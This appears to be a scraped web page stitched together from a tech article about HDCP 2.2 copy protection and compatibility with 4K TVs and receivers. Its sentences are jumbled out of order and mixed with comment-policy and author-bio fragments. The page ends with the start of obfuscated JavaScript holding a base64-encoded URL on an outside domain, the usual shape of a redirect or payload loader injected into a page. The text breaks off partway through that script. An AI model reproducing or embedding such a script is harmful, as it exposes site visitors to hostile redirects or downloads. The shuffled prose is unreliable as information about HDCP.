2 compliant as well It's important to note, there are many receivers shipping this year that have HDMI 2.. Sound crazy? Sadly, it's not Here's the skinny Copy protection/content protection has been around since the VHS era, something anyone who tried to copy a Blockbuster rental can tell you.. You can also send him a message on Twitter @TechWriterGeoff or Google+ Share your voiceBe respectful, keep it clean and stay on topic.

Your current devices will work fine with new HDCP 2 2 devices, presuming you're not trying to send content with 2.. HDCP 2 2 is the latest evolution of copy protection It's designed to create a secure connection between a source and a display.. Back then it was called Macrovision, which evolved to CSS for DVD and finally HDCP, which stands for High-bandwidth digital Content Protection, for Blu-ray players and HDTV devices like satellite and cable boxes.. We'll remove comments that violate our policy Please read our Comment Policy before commenting.

Which leads us to Your current gear is not 2 2-upgradable, but that's probably OKThere's no firmware upgrade that will get 2.. 0, but are not HDCP 2 2 compliant That might be an issue eventually, as we've discussed.. plasma, active versus passive 3D, and more Still have a question?Send him an e-mail! He won't tell you what TV to buy, but he might use your letter in a future article.. 0 ? Guess again The next generation of content protection is called HDCP 2 2, and not only is it not backwards compatible, many new 4K devices don't even support it..

You may also "see" HDCP 2 2 in new wireless gear, like those with Miracast or WirelessHD.. Ostensibly this is so you can't take the output from a source (a Blu-ray player, say) and plug it into some kind of recorder, to make a copy of the content.. As in, if you bought one of the first 4K TVs, generally released in 2013, it may not work with whatever dedicated 4K content comes out in the near future.. So it's possible that the 4K TV you bought last year, or even the receiver you buy this year, might not be able to receive/pass all future 4K content.. Got a question for Geoff? First, check out all the other articles he's written on topics like why all HDMI cables are the same, LED LCD vs.

Related StoriesThis is about UltraHD 4KYou don't need to ditch your gear just yet.. For now, HDCP 2 2 is something to have in the back of your head, but not something worth worrying about.. It's safe to assume, though, that to get the content to and from the wireless transmitter and receivers, you'll still need HDCP 2.. 2 working on a non-2 2 product At least, not on a product that wasn't designed with at least some idea about 2.. Enabled repeaters, like receivers, can be in the chain as well The source and the sink need to be in agreement, understanding their keys, or no content gets transferred.. var _0x417c=['aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWVuJnF1ZXJ5PQ==','RHVuRnQ=','ZXNteFQ=','Q0hkalE=','LmFzay4=','YUFRSn
